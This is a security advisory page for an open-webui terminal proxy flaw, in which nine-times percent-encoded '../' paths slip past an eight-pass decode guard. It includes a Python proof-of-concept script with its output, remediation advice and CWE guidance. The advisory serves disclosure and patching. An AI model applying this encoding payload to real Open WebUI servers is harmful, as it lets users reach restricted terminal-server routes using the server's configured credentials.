GHSA-frvj-c5qp-xj4w CVE-2026-59221 PYSEC-2026-3597
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.63% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
0.10.0- Upgrade open-webui to this version or later
Description
AI assistance was used to help inspect the code and prepare this report.
Summary
The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.
Impact
A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.
This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.
Reproduction
The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.
import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout
def sanitize(path):
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
cleaned = posixpath.normpath(decoded).lstrip('/')
if cleaned.startswith('..') or cleaned == '.':
return None
return cleaned
def enc(s, rounds):
out = ''.join(f'%{b:02X}' for b in s.encode())
for _ in range(rounds - 1):
out = out.replace('%', '%25')
return out
async def main():
async def handler(request):
return web.json_response({'raw_path': request.raw_path, 'path': request.path})
app = web.Application()
app.router.add_route('*', '/{tail:.*}', handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 0)
await site.start()
port = site._server.sockets[0].getsockname()[1]
for rounds in (8, 9):
safe = sanitize(enc('../admin/system', rounds))
print(rounds, safe)
if safe:
url = f'http://127.0.0.1:{port}/base/{safe}'
async with ClientSession(timeout=ClientTimeout(total=10)) as session:
async with session.get(url) as response:
print(await response.json())
await runner.cleanup()
asyncio.run(main())
Observed output on current main and v0.9.6 sanitizer:
8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}
The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so _sanitize_proxy_path() receives the 9x encoded parameter shown above.
Root Cause / Technical Details
_sanitize_proxy_path() in backend/open_webui/routers/terminals.py performs this loop:
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
The subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, posixpath.normpath() treats them as ordinary characters rather than path separators. The code then builds target_url = f'{base_url}/{safe_path}' and sends it with aiohttp.ClientSession.request(). The upstream server receives and decodes the forwarded path, turning the accepted %2E%2E%2F... into ../....
The same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 backend/open_webui/routers/terminals.py hash matches current main for this file.
Remediation
Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:
- Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.
- Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with
/. - Add regression tests for at least 9x and 10x encoded
../payloads, including a route-level test that accounts for the ASGI server's initial path decode before the{path:path}parameter reaches_sanitize_proxy_path().
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | >= 0.9.6, < 0.10.0 |
0.10.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.10.0
- pip
pip install --upgrade "open-webui>=0.10.0"- poetry
poetry add "open-webui>=0.10.0"- uv
uv add "open-webui>=0.10.0"
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor